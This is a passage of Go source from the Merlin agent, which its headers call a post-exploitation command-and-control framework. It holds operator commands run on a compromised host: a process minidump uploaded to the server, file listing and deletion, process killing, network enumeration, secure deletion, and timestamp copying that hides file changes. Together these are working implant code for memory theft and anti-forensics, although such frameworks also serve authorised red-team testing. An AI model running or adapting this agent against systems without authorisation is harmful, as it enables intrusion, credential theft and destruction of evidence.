cmd.Args[1], err.Error()) } tempPath := "" if len(cmd.Args) == 3 { tempPath = cmd.Args[2] } // Get minidump miniD, miniDumpErr := miniDump(tempPath, process, uint32(pid)) //copied and pasted from upload func, modified appropriately if miniDumpErr != nil { return jobs.FileTransfer{}, fmt.Errorf("there was an error executing the miniDump module:\r\n%s", miniDumpErr.Error()) } fileHash := sha256.New() _, errW := io.WriteString(fileHash, string(miniD["FileContent"].([]byte))) if errW != nil { cli.Message(cli.WARN, fmt.Sprintf("There was an error generating the SHA256 file hash e:\r\n%s", errW.Error())) } cli.Message(cli.NOTE, fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server", len(miniD["FileContent"].([]byte)), fileHash.Sum(nil))) return jobs.FileTransfer{ FileLocation: fmt.Sprintf("%s.%d.dmp", miniD["ProcName"], miniD["ProcID"]), FileBlob: base64.StdEncoding.EncodeToString(miniD["FileContent"].([]byte)), IsDownload: true, }, nil } ================================================ FILE: commands/native.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "math" "net" "os" "path/filepath" "strconv" "strings" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Native executes a golang native command that does not use any executables on the host func Native(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("Entering into commands.Native() with %+v...", cmd)) var results jobs.Results cli.Message(cli.NOTE, fmt.Sprintf("Executing native command: %s", cmd.Command)) switch cmd.Command { // TODO create a function for each Native Command that returns a string and error and DOES NOT use (a *Agent) case "cd": // Setup OS environment, if any err := Setup() if err != nil { results.Stderr = err.Error() break } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { results.Stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'cd' command: %s", err) } }() err = os.Chdir(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing directories when executing the 'cd' command:\r\n%s", err.Error()) } else { path, pathErr := os.Getwd() if pathErr != nil { results.Stderr = fmt.Sprintf("there was an error getting the working directory when executing the 'cd' command:\r\n%s", pathErr.Error()) } else { results.Stdout = fmt.Sprintf("Changed working directory to %s", path) } } case "env": results.Stdout, results.Stderr = env(cmd.Args) case "ls": listing, err := list(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error executing the 'ls' command:\r\n%s", err.Error()) break } results.Stdout = listing case "ifconfig": ifaces, err := ifconfig() if err != nil { results.Stderr = fmt.Sprintf("there was an error executing the 'ifconfig' command:\n%s", err) } results.Stdout = ifaces case "killprocess": results.Stdout, results.Stderr = killProcess(cmd.Args[0]) case "nslookup": results.Stdout, results.Stderr = nslookup(cmd.Args) case "pwd": dir, err := os.Getwd() if err != nil { results.Stderr = fmt.Sprintf("there was an error getting the working directory when executing the 'pwd' command:\r\n%s", err.Error()) } else { results.Stdout = fmt.Sprintf("Current working directory: %s", dir) } case "rm": if len(cmd.Args) > 0 { results.Stdout, results.Stderr = rm(cmd.Args[0]) } else { results.Stderr = "not enough arguments provided to the 'rm' command" } case "sdelete": if len(cmd.Args) > 0 { results.Stdout, results.Stderr = sdelete(cmd.Args[0]) } else { results.Stderr = "the sdelete command requires one argument but received 0" } case "touch": if len(cmd.Args) > 1 { results.Stdout, results.Stderr = touch(cmd.Args[0], cmd.Args[1]) } else { results.Stderr = fmt.Sprintf("the touch command requires two arguments but received %d", len(cmd.Args)) } default: results.Stderr = fmt.Sprintf("%s is not a valid NativeCMD type", cmd.Command) } if results.Stderr == "" { if results.Stdout != "" { cli.Message(cli.SUCCESS, results.Stdout) } } else { cli.Message(cli.WARN, results.Stderr) } return results } // list gets and returns a list of files and directories from the input file path func list(path string) (details string, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for list command function: %s", path)) cli.Message(cli.SUCCESS, fmt.Sprintf("listing directory contents for: %s", path)) var aPath string // UNC Path if strings.HasPrefix(path, "\\\\") { aPath = path } else { // Resolve a relative path to absolute aPath, err = filepath.Abs(path) if err != nil { return "", err } } // Setup OS environment, if any err = Setup() if err != nil { return } // Defer TearDown and return any errors defer func() { err2 := TearDown() if err2 != nil { if err != nil { err = fmt.Errorf("there were multiple errors. 1. %s 2. %s", err, err2) } else { err = err2 } } }() directories, err := os.ReadDir(aPath) if err != nil { return } details += fmt.Sprintf("Directory listing for: %s\r\n\r\n", aPath) for _, dir := range directories { var f os.FileInfo f, err = dir.Info() if err != nil { details += fmt.Sprintf("\nthere was an error getting file info for directory '%s'\n", dir) } perms := f.Mode().String() size := strconv.FormatInt(f.Size(), 10) modTime := f.ModTime().String()[0:19] name := f.Name() details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n" } return } // nslookup is used to perform a DNS query using the host's configured resolver func nslookup(query []string) (string, string) { var resp string var stderr string for _, q := range query { ip := net.ParseIP(q) if ip != nil { r, err := net.LookupAddr(ip.String()) if err != nil { stderr += fmt.Sprintf("there was an error calling the net.LookupAddr function for %s:\r\n%s", q, err) } resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " ")) } else { r, err := net.LookupHost(q) if err != nil { stderr += fmt.Sprintf("there was an error calling the net.LookupHost function for %s:\r\n%s", q, err) } resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " ")) } } return resp, stderr } // killProcess is used to kill a running process by its number identifier func killProcess(pid string) (stdout string, stderr string) { targetpid, err := strconv.Atoi(pid) if err != nil || targetpid < 0 { stderr = fmt.Sprintf("There was an error converting the pid %s to an integer:\n%s", pid, err) return } if targetpid < 0 { stderr = fmt.Sprintf("The provided pid %d is less than zero and invalid", targetpid) return } // Setup OS environment, if any err = Setup() if err != nil { stderr = err.Error() return } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'killprocess' command: %s", err) } }() proc, err := os.FindProcess(targetpid) if err != nil { // On linux, always returns a process. Don't worry, the Kill() will fail stderr = fmt.Sprintf("Could not find a process with pid %d:\r\n%s", targetpid, err) return } err = proc.Kill() if err != nil { stderr = fmt.Sprintf("Error killing pid %d:\r\n%s", targetpid, err) return } stdout = fmt.Sprintf("Successfully killed pid %d", targetpid) return } // rm removes, or deletes, a file func rm(path string) (stdout, stderr string) { cli.Message(cli.DEBUG, "Entering into native.rm()... function") // Setup OS environment, if any err := Setup() if err != nil { stderr = err.Error() return } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'rm' command: %s", err) } }() // Verify that file exists _, err = os.Stat(path) if err != nil { stderr = fmt.Sprintf("there was an error executing the 'rm' command: %s", err.Error()) return } err = os.Remove(path) if err != nil { stderr = fmt.Sprintf("there was an error executing the 'rm' command: %s", err.Error()) } stdout = fmt.Sprintf("successfully removed file %s", path) return } // sdelete securely deletes a file func sdelete(targetfile string) (resp string, stderr string) { targetfile = filepath.Clean(targetfile) // Setup OS environment, if any err := Setup() if err != nil { stderr = err.Error() return } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'sdelete' command: %s", err) } }() // make sure we open the file with correct permission // otherwise we will get the bad file descriptor error // #nosec G304 operators should be able to specify arbitrary file path // #nosec G302 want to use these permissions to ensure access file, err := os.OpenFile(targetfile, os.O_RDWR, 0666) if err != nil { stderr = fmt.Sprintf("Error opening file: %s\r\n%s", targetfile, err.Error()) return resp, stderr } // find out how large is the target file fileInfo, err := file.Stat() if err != nil { stderr = fmt.Sprintf("Error determining file size: %s\r\n%s", targetfile, err.Error()) return resp, stderr } // calculate the new slice size // based on how large our target file is var fileSize = fileInfo.Size() const fileChunk = 1 * (1 << 20) //1MB Chunks // calculate total number of parts the file will be chunked into totalPartsNum := uint64(math.Ceil(float64(fileSize) / float64(fileChunk))) lastPosition := 0 for i := uint64(0); i < totalPartsNum; i++ { partSize := int(math.Min(fileChunk, float64(fileSize-int64(i*fileChunk)))) partZeroBytes := make([]byte, partSize) // fill out the part with zero value copy(partZeroBytes[:], "0") // overwrite every byte in the chunk with 0 n, err := file.WriteAt(partZeroBytes, int64(lastPosition)) if err != nil { stderr = fmt.Sprintf("Error over writing file: %s\r\n%s", targetfile, err.Error()) return resp, stderr } resp += fmt.Sprintf("Wiped %v bytes.\n", n) // update last written position lastPosition = lastPosition + partSize } err = file.Close() if err != nil { stderr = fmt.Sprintf("There was an error closing the %s file:\n%s", targetfile, err) return } // finally, remove/delete our file err = os.Remove(targetfile) if err != nil { stderr = fmt.Sprintf("Error deleting file: %s\r\n%s", targetfile, err.Error()) return resp, stderr } resp += fmt.Sprintf("Securely deleted file: %s\n", targetfile) return resp, stderr } // touch matches the destination file's timestamps with source file func touch(inputsourcefile string, inputdestinationfile string) (resp string, stderr string) { sourcefilename := inputsourcefile destinationfilename := inputdestinationfile // Setup OS environment, if any err := Setup() if err != nil { return "", err.Error() } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'touch' command: %s", err) } }() // get last modified time of source file sourcefile, err1 := os.Stat(sourcefilename) if err1 != nil { stderr = fmt.Sprintf("Error retrieving last modified time of: %s\n%s\n", sourcefilename, err1.Error()) return resp, stderr } modifiedtime := sourcefile.ModTime() // change both atime and mtime to last modified time of source file err2 := os.Chtimes(destinationfilename, modifiedtime, modifiedtime) if err2 != nil { stderr = fmt.Sprintf("Error changing last modified and accessed time of: %s\n%s\n", destinationfilename, err2.Error()) return resp, stderr } resp = fmt.Sprintf("File: %s\nLast modified and accessed time set to: %s\n", destinationfilename, modifiedtime) return resp, stderr } ================================================ FILE: commands/netstat.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Netstat is used to print network connections on the target system func Netstat(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Netstat() with %+v", cmd)) return jobs.Results{ Stderr: "the Netstat command is not supported by this agent type", } } ================================================ FILE: commands/netstat_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "bytes" "encoding/binary" "fmt" "net" "reflect" "syscall" "unsafe" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Netstat is used to print network connections on the target system func Netstat(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Netstat() with %+v", cmd)) var results jobs.Results var err string var actualargument string if len(cmd.Args) > 1 { actualargument = cmd.Args[1] } out, err := netstat(actualargument) if err != "" { results.Stderr = fmt.Sprintf("%s\r\n", err) } else { results.Stdout = out } return results } // SockAddr represents an ip:port pair type SockAddr struct { IP net.IP Port uint16 } func (s *SockAddr) String() string { return fmt.Sprintf("%v:%d", s.IP, s.Port) } // SockTabEntry type represents each line of the /proc/net/[tcp|udp] type SockTabEntry struct { ino string LocalAddr *SockAddr RemoteAddr *SockAddr State SkState UID uint32 Process *Process } // Process holds the PID and process name to which each socket belongs type Process struct { Pid int Name string } func (p *Process) String() string { return fmt.Sprintf("%d/%s", p.Pid, p.Name) } // SkState type represents socket connection state type SkState uint8 func (s SkState) String() string { return skStates[s] } // AcceptFn is used to filter socket entries. The value returned indicates // whether the element is to be appended to the socket list. type AcceptFn func(*SockTabEntry) bool // NoopFilter - a test function returning true for all elements func NoopFilter(*SockTabEntry) bool { return true } // TCPSocks returns a slice of active TCP sockets containing only those // elements that satisfy the accept function func TCPSocks(accept AcceptFn) ([]SockTabEntry, error) { return osTCPSocks(accept) } // TCP6Socks returns a slice of active TCP IPv4 sockets containing only those // elements that satisfy the accept function func TCP6Socks(accept AcceptFn) ([]SockTabEntry, error) { return osTCP6Socks(accept) } // UDPSocks returns a slice of active UDP sockets containing only those // elements that satisfy the accept function func UDPSocks(accept AcceptFn) ([]SockTabEntry, error) { return osUDPSocks(accept) } // UDP6Socks returns a slice of active UDP IPv6 sockets containing only those // elements that satisfy the accept function func UDP6Socks(accept AcceptFn) ([]SockTabEntry, error) { return osUDP6Socks(accept) } const ( errInsuffBuff = syscall.Errno(122) Th32csSnapProcess = uint32(0x00000002) InvalidHandleValue = ^uintptr(0) MaxPath = 260 ) var ( modiphlpapi = syscall.NewLazyDLL("Iphlpapi.dll") modkernel32 = syscall.NewLazyDLL("Kernel32.dll") procGetTCPTable2 = modiphlpapi.NewProc("GetTcpTable2") procGetTCP6Table2 = modiphlpapi.NewProc("GetTcp6Table2") procGetExtendedUDPTable = modiphlpapi.NewProc("GetExtendedUdpTable") procCreateSnapshot = modkernel32.NewProc("CreateToolhelp32Snapshot") procProcess32First = modkernel32.NewProc("Process32First") procProcess32Next = modkernel32.NewProc("Process32Next") ) // Socket states const ( Close SkState = 0x01 Listen = 0x02 SynSent = 0x03 SynRecv = 0x04 Established = 0x05 FinWait1 = 0x06 FinWait2 = 0x07 CloseWait = 0x08 Closing = 0x09 LastAck = 0x0a TimeWait = 0x0b DeleteTcb = 0x0c ) var skStates = [...]string{ "UNKNOWN", "", // CLOSE "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT", "CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", } func memToIPv4(p unsafe.Pointer) net.IP { a := (*[net.IPv4len]byte)(p) ip := make(net.IP, net.IPv4len) copy(ip, a[:]) return ip } func memToIPv6(p unsafe.Pointer) net.IP { a := (*[net.IPv6len]byte)(p) ip := make(net.IP, net.IPv6len) copy(ip, a[:]) return ip } func memtohs(n unsafe.Pointer) uint16 { return binary.BigEndian.Uint16((*[2]byte)(n)[:]) } type WinSock struct { Addr uint32 Port uint32 } func (w *WinSock) Sock() *SockAddr { ip := memToIPv4(unsafe.Pointer(&w.Addr)) port := memtohs(unsafe.Pointer(&w.Port)) return &SockAddr{IP: ip, Port: port} } type WinSock6 struct { Addr [net.IPv6len]byte ScopeID uint32 Port uint32 } func (w *WinSock6) Sock() *SockAddr { ip := memToIPv6(unsafe.Pointer(&w.Addr[0])) port := memtohs(unsafe.Pointer(&w.Port)) return &SockAddr{IP: ip, Port: port} } type MibTCPRow2 struct { State uint32 LocalAddr WinSock RemoteAddr WinSock WinPid OffloadState uint32 } type WinPid uint32 func (pid WinPid) Process(snp ProcessSnapshot) *Process { if pid < 1 { return nil } return &Process{ Pid: int(pid), Name: snp.ProcPIDToName(uint32(pid)), } } func (m *MibTCPRow2) LocalSock() *SockAddr { return m.LocalAddr.Sock() } func (m *MibTCPRow2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() } func (m *MibTCPRow2) SockState() SkState { return SkState(m.State) } type MibTCPTable2 struct { NumEntries uint32 Table [1]MibTCPRow2 } func (t *MibTCPTable2) Rows() []MibTCPRow2 { var s []MibTCPRow2 hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s)) hdr.Data = uintptr(unsafe.Pointer(&t.Table[0])) hdr.Len = int(t.NumEntries) hdr.Cap = int(t.NumEntries) return s } // MibTCP6Row2 structure contains information that describes an IPv6 TCP // connection. type MibTCP6Row2 struct { LocalAddr WinSock6 RemoteAddr WinSock6 State uint32 WinPid OffloadState uint32 } func (m *MibTCP6Row2) LocalSock() *SockAddr { return m.LocalAddr.Sock() } func (m *MibTCP6Row2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() } func (m *MibTCP6Row2) SockState() SkState { return SkState(m.State) } // MibTCP6Table2 structure contains a table of IPv6 TCP connections on the // local computer. type MibTCP6Table2 struct { NumEntries uint32 Table [1]MibTCP6Row2 } func (t *MibTCP6Table2) Rows() []MibTCP6Row2 { var s []MibTCP6Row2 hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s)) hdr.Data = uintptr(unsafe.Pointer(&t.Table[0])) hdr.Len = int(t.NumEntries) hdr.Cap = int(t.NumEntries) return s } // MibUDPRowOwnerPID structure contains an entry from the User Datagram // Protocol (UDP) listener table for IPv4 on the local computer. The entry also // includes the process ID (PID) that issued the call to the bind function for // the UDP endpoint type MibUDPRowOwnerPID struct { WinSock WinPid } func (m *MibUDPRowOwnerPID) LocalSock() *SockAddr { return m.Sock() } func (m *MibUDPRowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} } func (m *MibUDPRowOwnerPID) SockState() SkState { return Close } // MibUDPTableOwnerPID structure contains the User Datagram Protocol (UDP) // listener table for IPv4 on the local computer. The table also includes the // process ID (PID) that issued the call to the bind function for each UDP // endpoint. type MibUDPTableOwnerPID struct { NumEntries uint32 Table [1]MibUDPRowOwnerPID } func (t *MibUDPTableOwnerPID) Rows() []MibUDPRowOwnerPID { var s []MibUDPRowOwnerPID hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s)) hdr.Data = uintptr(unsafe.Pointer(&t.Table[0])) hdr.Len = int(t.NumEntries) hdr.Cap = int(t.NumEntries) return s } // MibUDP6RowOwnerPID serves the same purpose as MibUDPRowOwnerPID, except that // the information in this case is for IPv6. type MibUDP6RowOwnerPID struct { WinSock6 WinPid } func (m *MibUDP6RowOwnerPID) LocalSock() *SockAddr { return m.Sock() } func (m *MibUDP6RowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} } func (m *MibUDP6RowOwnerPID) SockState() SkState { return Close } // MibUDP6TableOwnerPID serves the same purpose as MibUDPTableOwnerPID for IPv6 type MibUDP6TableOwnerPID struct { NumEntries uint32 Table [1]MibUDP6RowOwnerPID } func (t *MibUDP6TableOwnerPID) Rows() []MibUDP6RowOwnerPID { var s []MibUDP6RowOwnerPID hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s)) hdr.Data = uintptr(unsafe.Pointer(&t.Table[0])) hdr.Len = int(t.NumEntries) hdr.Cap = int(t.NumEntries) return s } // Processentry32 describes an entry from a list of the processes residing in // the system address space when a snapshot was taken type Processentry32 struct { Size uint32 CntUsage uint32 Th32ProcessID uint32 Th32DefaultHeapID uintptr Th32ModuleID uint32 CntThreads uint32 Th32ParentProcessID uint32 PriClassBase int32 Flags uint32 ExeFile [MaxPath]byte } func rawGetTCPTable2(proc uintptr, tab unsafe.Pointer, size *uint32, order bool) error { var oint uintptr if order { oint = 1 } r1, _, callErr := syscall.Syscall( proc, uintptr(3), uintptr(tab), uintptr(unsafe.Pointer(size)), oint) if callErr != 0 { return callErr } if r1 != 0 { return syscall.Errno(r1) } return nil } func getTCPTable2(proc uintptr, order bool) ([]byte, error) { var ( size uint32 buf []byte ) // determine size err := rawGetTCPTable2(proc, unsafe.Pointer(nil), &size, false) if err != nil && err != errInsuffBuff { return nil, err } buf = make([]byte, size) table := unsafe.Pointer(&buf[0]) err = rawGetTCPTable2(proc, table, &size, true) if err != nil { return nil, err } return buf, nil } // GetTCPTable2 function retrieves the IPv4 TCP connection table func GetTCPTable2(order bool) (*MibTCPTable2, error) { b, err := getTCPTable2(procGetTCPTable2.Addr(), true) if err != nil { return nil, err } return (*MibTCPTable2)(unsafe.Pointer(&b[0])), nil } // GetTCP6Table2 function retrieves the IPv6 TCP connection table func GetTCP6Table2(order bool) (*MibTCP6Table2, error) { b, err := getTCPTable2(procGetTCP6Table2.Addr(), true) if err != nil { return nil, err } return (*MibTCP6Table2)(unsafe.Pointer(&b[0])), nil } // The UDPTableClass enumeration defines the set of values used to indicate // the type of table returned by calls to GetExtendedUDPTable type UDPTableClass uint // Possible table class values const ( UDPTableBasic UDPTableClass = iota UDPTableOwnerPID UDPTableOwnerModule ) func getExtendedUDPTable(table unsafe.Pointer, size *uint32, order bool, af uint32, cl UDPTableClass) error { var oint uintptr if order { oint = 1 } r1, _, callErr := syscall.Syscall6( procGetExtendedUDPTable.Addr(), uintptr(6), uintptr(table), uintptr(unsafe.Pointer(size)), oint, uintptr(af), uintptr(cl), uintptr(0)) if callErr != 0 { return callErr } if r1 != 0 { return syscall.Errno(r1) } return nil } // GetExtendedUDPTable function retrieves a table that contains a list of UDP // endpoints available to the application func GetExtendedUDPTable(order bool, af uint32, cl UDPTableClass) ([]byte, error) { var size uint32 err := getExtendedUDPTable(nil, &size, order, af, cl) if err != nil && err != errInsuffBuff { return nil, err } buf := make([]byte, size) err = getExtendedUDPTable(unsafe.Pointer(&buf[0]), &size, order, af, cl) if err != nil { return nil, err } return buf, nil } func GetUDPTableOwnerPID(order bool) (*MibUDPTableOwnerPID, error) { b, err := GetExtendedUDPTable(true, syscall.AF_INET, UDPTableOwnerPID) if err != nil { return nil, err } return (*MibUDPTableOwnerPID)(unsafe.Pointer(&b[0])), nil } func GetUDP6TableOwnerPID(order bool) (*MibUDP6TableOwnerPID, error) { b, err := GetExtendedUDPTable(true, syscall.AF_INET6, UDPTableOwnerPID) if err != nil { return nil, err } return (*MibUDP6TableOwnerPID)(unsafe.Pointer(&b[0])), nil } // ProcessSnapshot wraps the syscall.Handle, which represents a snapshot of // the specified processes. type ProcessSnapshot syscall.Handle // CreateToolhelp32Snapshot takes a snapshot of the specified processes, as // well as the heaps, modules, and threads used by these processes func CreateToolhelp32Snapshot(flags uint32, pid uint32) (ProcessSnapshot, error) { r1, _, callErr := syscall.Syscall( procCreateSnapshot.Addr(), uintptr(2), uintptr(flags), uintptr(pid), 0) ret := ProcessSnapshot(r1) if callErr != 0 { return ret, callErr } if r1 == InvalidHandleValue { return ret, fmt.Errorf("invalid handle value: %#v", r1) } return ret, nil } // ProcPIDToName translates PID to a name func (snp ProcessSnapshot) ProcPIDToName(pid uint32) string { var processEntry Processentry32 processEntry.Size = uint32(unsafe.Sizeof(processEntry)) handle := syscall.Handle(snp) err := Process32First(handle, &processEntry) if err != nil { return "" } for { if processEntry.Th32ProcessID == pid { return StringFromNullTerminated(processEntry.ExeFile[:]) } err = Process32Next(handle, &processEntry) if err != nil { return "" } } } // Close releases underlying win32 handle func (snp ProcessSnapshot) Close() error { return syscall.CloseHandle(syscall.Handle(snp)) } // Process32First retrieves information about the first process encountered // in a system snapshot func Process32First(handle syscall.Handle, pe *Processentry32) error { pe.Size = uint32(unsafe.Sizeof(*pe)) r1, _, callErr := syscall.Syscall( procProcess32First.Addr(), uintptr(2), uintptr(handle), uintptr(unsafe.Pointer(pe)), 0) if callErr != 0 { return callErr } if r1 == 0 { return nil } return nil } // Process32Next retrieves information about the next process // recorded in a system snapshot func Process32Next(handle syscall.Handle, pe *Processentry32) error { pe.Size = uint32(unsafe.Sizeof(*pe)) r1, _, callErr := syscall.Syscall( procProcess32Next.Addr(), uintptr(2), uintptr(handle), uintptr(unsafe.Pointer(pe)), 0) if callErr != 0 { return callErr } if r1 == 0 { return nil } return nil } // StringFromNullTerminated returns a string from a nul-terminated byte slice func StringFromNullTerminated(b []byte) string { n := bytes.IndexByte(b, '\x00') if n < 1 { return "" } return string(b[:n]) } type winSockEnt interface { LocalSock() *SockAddr RemoteSock() *SockAddr SockState() SkState Process(snp ProcessSnapshot) *Process } func toSockTabEntry(ws winSockEnt, snp ProcessSnapshot) SockTabEntry { return SockTabEntry{ LocalAddr: ws.LocalSock(), RemoteAddr: ws.RemoteSock(), State: ws.SockState(), Process: ws.Process(snp), } } func osTCPSocks(accept AcceptFn) ([]SockTabEntry, error) { tbl, err := GetTCPTable2(true) if err != nil { return nil, err } snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0) if err != nil { return nil, err } var sktab []SockTabEntry s := tbl.Rows() for i := range s { ent := toSockTabEntry(&s[i], snp) if accept(&ent) { sktab = append(sktab, ent) } } snp.Close() return sktab, nil } func osTCP6Socks(accept AcceptFn) ([]SockTabEntry, error) { tbl, err := GetTCP6Table2(true) if err != nil { return nil, err } snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0) if err != nil { return nil, err } var sktab []SockTabEntry s := tbl.Rows() for i := range s { ent := toSockTabEntry(&s[i], snp) if accept(&ent) { sktab = append(sktab, ent) } } snp.Close() return sktab, nil } func osUDPSocks(accept AcceptFn) ([]SockTabEntry, error) { tbl, err := GetUDPTableOwnerPID(true) if err != nil { return nil, err } snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0) if err != nil { return nil, err } var sktab []SockTabEntry s := tbl.Rows() for i := range s { ent := toSockTabEntry(&s[i], snp) if accept(&ent) { sktab = append(sktab, ent) } } snp.Close() return sktab, nil } func osUDP6Socks(accept AcceptFn) ([]SockTabEntry, error) { tbl, err := GetUDP6TableOwnerPID(true) if err != nil { return nil, err } snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0) if err != nil { return nil, err } var sktab []SockTabEntry s := tbl.Rows() for i := range s { ent := toSockTabEntry(&s[i], snp) if accept(&ent) { sktab = append(sktab, ent) } } snp.Close() return sktab, nil } const ( protoIPv4 = 0x01 protoIPv6 = 0x02 ) // Accepts "udp" or "tcp" func netstat(filter string) (stdout string, stderr string) { var udp bool var tcp bool switch filter { case "udp": udp = true case "tcp": tcp = true default: udp = true tcp = true } listening := false all := true ipv4 := true ipv6 := true var proto uint if ipv4 { proto |= protoIPv4 } if ipv6 { proto |= protoIPv6 } if proto == 0x00 { proto = protoIPv4 | protoIPv6 } //if os.Geteuid() != 0 { // stdout += fmt.Sprintf("\nElevated privileges needed to identify all process information\n") //} stdout += fmt.Sprintf("\nProto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name") if udp { if proto&protoIPv4 == protoIPv4 { tabs, err := UDPSocks(NoopFilter) if err == nil { proto := "udp" lookup := func(skaddr *SockAddr) string { const IPv4Strlen = 17 addr := skaddr.IP.String() if len(addr) > IPv4Strlen { addr = addr[:IPv4Strlen] } return fmt.Sprintf("%s:%d", addr, skaddr.Port) } for _, e := range tabs { p := "" if e.Process != nil { p = e.Process.String() } saddr := lookup(e.LocalAddr) daddr := lookup(e.RemoteAddr) stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p) } } } if proto&protoIPv6 == protoIPv6 { tabs, err := UDP6Socks(NoopFilter) if err == nil { proto := "udp6" lookup := func(skaddr *SockAddr) string { const IPv4Strlen = 17 addr := skaddr.IP.String() if len(addr) > IPv4Strlen { addr = addr[:IPv4Strlen] } return fmt.Sprintf("%s:%d", addr, skaddr.Port) } for _, e := range tabs { p := "" if e.Process != nil { p = e.Process.String() } saddr := lookup(e.LocalAddr) daddr := lookup(e.RemoteAddr) stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p) } } } } else { tcp = true } if tcp { var fn AcceptFn switch { case all: fn = func(*SockTabEntry) bool { return true } case listening: fn = func(s *SockTabEntry) bool { return s.State == Listen } default: fn = func(s *SockTabEntry) bool { return s.State != Listen } } if proto&protoIPv4 == protoIPv4 { tabs, err := TCPSocks(fn) if err == nil { proto := "tcp" lookup := func(skaddr *SockAddr) string { const IPv4Strlen = 17 addr := skaddr.IP.String() if len(addr) > IPv4Strlen { addr = addr[:IPv4Strlen] } return fmt.Sprintf("%s:%d", addr, skaddr.Port) } for _, e := range tabs { p := "" if e.Process != nil { p = e.Process.String() } saddr := lookup(e.LocalAddr) daddr := lookup(e.RemoteAddr) stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p) } } } if proto&protoIPv6 == protoIPv6 { tabs, err := TCP6Socks(fn) if err == nil { proto := "tcp6" lookup := func(skaddr *SockAddr) string { const IPv4Strlen = 17 addr := skaddr.IP.String() if len(addr) > IPv4Strlen { addr = addr[:IPv4Strlen] } return fmt.Sprintf("%s:%d", addr, skaddr.Port) } for _, e := range tabs { p := "" if e.Process != nil { p = e.Process.String() } saddr := lookup(e.LocalAddr) daddr := lookup(e.RemoteAddr) stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p) } } } } return stdout, "" } ================================================ FILE: commands/os.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR 